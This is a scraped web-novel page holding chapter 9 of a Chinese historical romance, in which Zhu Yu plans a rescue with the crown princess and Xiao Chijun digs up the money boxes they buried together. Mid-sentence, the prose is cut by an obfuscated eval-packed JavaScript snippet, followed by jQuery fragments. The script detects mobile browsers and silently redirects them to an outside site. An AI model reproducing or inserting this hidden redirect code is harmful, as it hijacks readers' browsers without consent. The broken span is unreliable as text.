默认冷灰
24号文字
方正启体

9. 如梦似幻

作者:扶阳明本书字数:K更新时间:
    祝余的伤还未见好,那日一场恸哭使她伤神,昏迷了好几日,萧持钧日日守在小院里,生怕她有任何差池。


    自重生以来,祝余从未像这段时日一般,心无杂念地歇息,再次睁开眼的那一刻,她察觉到自己的内心慢慢平静下来。


    她是在帝京执行任务的时候重生的,刺杀出了点岔子,她只好连夜遁走,途中被追兵砍中了胳膊,跳进河里,上涌的河水将她带到了城郊的山里。


    醒来时便已有了前世的记忆。


    那些纷繁复杂的记忆一股脑钻进她的脑海里,相比之下,胳膊上的伤反而没那么难受。她花了一点时间消化,得知今夕是何年后,便一路南下,去救本该重伤的萧持钧。


    辗转到青州时,身上的伤还没好,孤身走在寂静无人的小路上,心里翻来覆去地想着前世的事,像是入了九天幻境。


    其实她也不太确定,这究竟是重生,还是她受伤之后神志恍惚产生的幻觉。


    直到看到那枚十三月的令牌。


    在她的记忆中,十三月早在她叛逃时便不复存在,麾下六人跟随她南下,宵衣卫中有关十三月的机密要件也被她焚毁。


    之后一行人在奔走途中被宵衣卫埋伏,三人战死,其余被全数捉拿,折磨至死。


    此后,世上再无十三月。


    -


    时近月底,祝余伤好大半,进宫面见太子妃,萧持钧不放心,依旧跟随。


    陆英近日胎像不稳,一直在卧床静养,听呈报说祝余来了,便打起精神出了卧房,在堂上候着。祝余此次来是为下月苍梧山之行。


    将裴溪之事细细说了,却见陆英并无预料之中焦急慌乱之色。祝余有些意外,陆英这才将那日的书信拿出,指着上面的几处用词,皆是谦卑敬语:“我与裴溪相交多年,从未见过如此书信。”


    那日看过信,陆英便派人去过裴家,只是路途遥远,还未有消息回来。裴溪一向行事谨慎,如若不是遇上解决不了的祸事,不会贸然写信向她求救。


    等待的时日心里终究还是打鼓,太子外出公干,连日未归,她有孕在身,只能再托京中宵衣卫去苍梧山打探消息,但不知为何,也没有消息传回来。


    宵衣卫?


    祝余一怔,可那日山中,她和萧持钧遭遇的并非真正的宵衣卫,那令牌她摸过,仿制得虽逼真,但用料却是寻常的山木,比真正的令牌要轻上几分。


    陆英见她神色有异,招手让祝余近前来。


    祝余凑过去,便听她耳语:“下月初十,你随我去苍梧山。”祝余皱了皱眉,不赞成地看着她:“不可,你如今身子虚弱,不能轻易走动。”


    陆英摇了摇头,而后将祝余的手覆在微微凸起的小腹上,微微用力按了按,祝余下意识收手,却被陆英抓住:“无碍。”


    祝余闻言心下一动,轻轻按了按,手下并非是皮肉的紧实感,而是软绵绵的一团,像是小枕头。


    她倏地抬起头,陆英缓缓点了点头。


    “殿下他,知晓吗?”祝余心下骇然,一时间脑海中划过从前听来的诸多后宫秘事,什么假孕滑胎,栽赃陷害,通通涌现出来。


    谁知陆英竟又点了点头,方才构思的一桩桩争斗大戏立马偃旗息鼓,祝余愣在原地。


    “你回来前,殿下曾经遭遇过几次暗算,但一直寻不到那些人的来处,只能吃暗亏。”陆英抚了抚祝余的袖子,丝毫不见方才面上的病气:“陛下年岁渐长,这几年对子息愈发看重。”


    说到这儿,陆英顿了顿:“也不知怎的,已成婚的几位皇子于子嗣上都不太顺遂,除了四殿下育有一女,其余的皇子们均还未有所出。”


    不说其他,便是萧应淮也曾为此事寻医问药。


    祝余此时内心已不能再用惊诧来形容,好说她也在东宫待过几年,竟然从未发觉皇家有这样不宜外传的心酸秘事。


    陆英似是料到她的反应:“我也是你离开之后才得知。”她唇角勾了勾,面上带笑,眼里却满是嘲讽:“皇家为了子息想尽了法子,众皇子欲生生不得,便掉转头来防着自己的兄弟。”


    “殿下亦是如此,为了引蛇出洞,他需要一个靶子,来为他探探路。”


    说着说着,陆英轻叹一声:“苍梧山我有非去不可的理由,但依你方才所言,只你我二人恐怕无法救出小溪。”


    “所以我会将此事告知殿下,下月初十请他在苍梧山设局,你我救人,他也可以借机行事。”


    此话正中祝余下怀,她原本也是要借宵衣卫之手救人,只是如此一来,事情变得复杂,苍梧山之行也就更加凶险。


    她看着陆英瘦削的脸庞,虽然她方才言辞轻松,但祝余明白,真正过得自在的人,不是她这样的。


    “英姐姐,届时我想邀一人同去。”祝余心下思量了一会儿,还是觉着不太妥当。


    苍梧山地形难测,别庄里还有暗室,背后之人搅弄风云,一切都变化莫测,她得下地牢救裴溪,陆英身边没有人守着她实在放心不下。


    思来想去,唯有萧持钧。他对苍梧山熟悉,又通剑术,别庄一侧便是小姨的院子,若事有变化,也好看顾一二。


    陆英心下一动:“听闻今日陪你进宫的是萧二?”


    祝余点点头,陆英却露出着古怪之色:“你说的人是他?”祝余颔首,面露不解:“是有什么不妥吗?”


    陆英闻言眼眸动了动,倒是没什么不妥,只是三年前萧持钧提剑来上门要人,她当时误以为祝余是为他拒婚,而他却远在青州,一时气不过,教他吃了个闭门羹。


    她缓缓摇了摇头,萧持钧这人她是知道的,安平侯一家均远在北境,独他因为战场负伤,被遣送回京,留守至今。


    起初说是养伤,后来陛下不提萧持钧离京之事,安平侯竟也从未提起,如此,萧持钧离京之事便一拖再拖,之后,似乎他自己也喜欢上了这帝京城的满眼锦绣,不再终日阴沉,常与京中那些公子哥骑马踏青,游戏人间。


    萧持钧来东宫时,陆英曾看到过他在僻静的宫墙外等人,那时也没说等谁,祝余走后,他杀上门来,她才知道,原是等的祝余。


    定下苍梧山之行,祝余心下稍安,又细细问了几句陆英的近况,等到婢子来催喝安胎药,她这才起身告辞。


    出来时未见萧持钧踪影,她四下望了望,正欲询问门外侍卫,便看他从拐角处出现。


    那日哭过一场,两人之间便一直有些说不清道不明的扭捏,祝余有意避着他,但萧持钧却似乎从中确认了什么,日日待在小院。


    有时祝余在院子里晒太阳,他便在楼上书房,偶尔出来静立在窗前,望向楼下的祝余,怕她不自在,整日都不太下楼,等用饭时,却又不似这般善解人意,非等着祝余喊他。


    黄老汉人老成精,最会装聋作哑,祝余暗示他去楼上,老头子一扭头就又进了灶房,不知在忙些什么。


    两人一路回了侯府,萧持钧在前边走,祝余跟着他进了后院,有些不明白他的意图。


    转了几转,发觉进了后院的小花园。祝余慢慢停住脚步,见她不再往前走,萧持钧转过身:“怎么了?”


    祝余犹豫着,不知道该如何开口,萧持钧看着她,似是在等她说什么,她却摇了摇头,跟了上来。


    萧持钧似有所料,抿抿唇,什么也没说。等到了小花园深处的墙角,他再次回过身,看了祝余一眼。


    如有实质的一眼,像是透过皮肉,看穿她的心虚。等萧持钧蹲下开始掘地,祝余这才深感大难临头。


    方才还存着些侥幸,这回见他一言不发,手下动作却快,不一会儿泥土深处就露出个小木盒来。


    祝余轻轻地蹲在萧持钧身侧,拉了拉他的衣袖,萧持钧罕见地有了些脾气,未曾理会她,手拂开木盒上的碎土,又用帕子细细擦拭干净,而后径直递给祝余。


    未置一言,只是拿一双眼轻飘飘地盯着她,目光好似盘问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467817|169840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,叫祝余不敢轻易抬起头来。


    两年前,她曾经回过侯府。


    那时方入宵衣卫,行事还不太周全,被追杀逼的没办法,四处躲避,东宫暂时回不得,戏班子的小院也不敢去,怕撞上萧持钧。


    最后想到了侯府,从前萧持钧最不爱待在府里,不是在外头就是窝在戏班子,于她而言,侯府确是个好去处。


    躲了几个时辰,果然没被发现,等追兵散去,她正欲离开,手一摸,发觉身上已没什么银两,本欲从侯府顺走些,又担心会有人发现,惊动萧持钧。


    思来想去,她想到了小花园里的东西。


    小木盒里是她这些年的月例,还有些平日里贵人们赏赐的东西,一点一点积少成多,有了一笔可靠的数目。


    旁边还有一个小木盒,是萧持钧的,装的是他在京中偷偷做生意赚来的银票,用他的话来说,这是唯一只属于他自己的产业,与侯府无关。


    这是他们为回北境攒下的盘缠。


    那时她问萧持钧愿不愿意跟她走,他虽未回答,但却置了这一对木盒,后来祝余将自己攒下的钱也放进去,挑了个良辰吉日,两人将小木盒埋在了侯府小花园里。


    祝余当时只是想拿点钱应应急,因此只挖开个盖,取了银两便埋回去,她没想到萧持钧会发现。


    她接过小木盒,熟练地掏出怀中钥匙,开了锁,却惊讶地“咦”了一声。


    木盒的盖子几乎是弹开的,里边满满地塞着些银票。祝余意识到什么,睁大眼睛看着萧持钧,后者却别开脸,不去看她。


    祝余蓦地想起什么,抓起小铲子,将旁边的小木盒也挖了出来,她草草拍了拍上面的泥,又用另一把钥匙开了锁,里边空空如也。


    “你这是做什么啊……”祝余喉头震颤,用手摸了摸小木盒光滑的底板。


    萧持钧拿过空空的小木盒,对上祝余难过的表情,眉毛眼睛皱成一团,嘴角伤心地下撇,眼睛里蓄着泪,还有些生气。


    他缓了缓心里难言的情绪,这才开口:“怕你不够花,又不肯去取另一盒。”


    那日他生着病,待在府里没出门,在小花园喝了药,有些困乏,便靠坐在树下打盹。


    很久以后他都以为那时是他的幻觉——他看见祝余在往小木盒上盖土。


    高热夹杂着耳鸣让他意识模糊,耳边尖锐的幻听,叫嚣着要跳出胸膛的心脏,几乎碾碎他的神志,某个瞬间他眼前一黑,有那么一小会儿看不见任何东西。


    那段时间他常常会有这样的病痛反应,因此也不算异样。


    等眼前再次清明,哪里有什么祝余。


    只是夜里入睡前,他脑海中又闪过当时的片段,那时已至深夜,更深露重,府里静悄悄的,他挣扎着爬起来,提着灯独自又去了小花园。


    想要将小木盒挖开,却在动手的第一下就愣在了原地——那处的泥土松软,虽让人有意压实了,但一下铲子,还是很明显。


    不敢相信手下的触感,他三两下便挖开,去捧那只小木盒时,手抖得厉害,寂静的夜色里,只听得见自己粗重的喘息声。


    从怀里掏出祝余给他的钥匙,哆嗦着开了锁,他屏住呼吸,扫视一番,发现了那张不翼而飞的银票,当下便流出泪来。


    抓着小木盒便起身,可空荡荡的花园里毫无人迹,他举目四望,不知该往何处寻。


    呼吸越发急促,他几乎要喘不过气来,耳边又响起熟悉的锐鸣声,眼前一阵黑似一阵,狼狈地跪倒在地,他用力控制着自己的呼吸,脑中却疼得乱成一团,整个人眩晕难以自理,以为自己就要倒下时,心下突然闪过一抹担忧:祝余来此,定是遇上了什么难事。


    于是又踉跄着起身,将另一只木盒挖出,将所有的银票全数塞进祝余的木盒,把锁扣住,将木盒重新埋回去。


    等恢复成最初的模样,他靠坐在地,手掌抚了抚身下的泥土,想到她曾来过此处,闭上眼沉沉地睡过去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)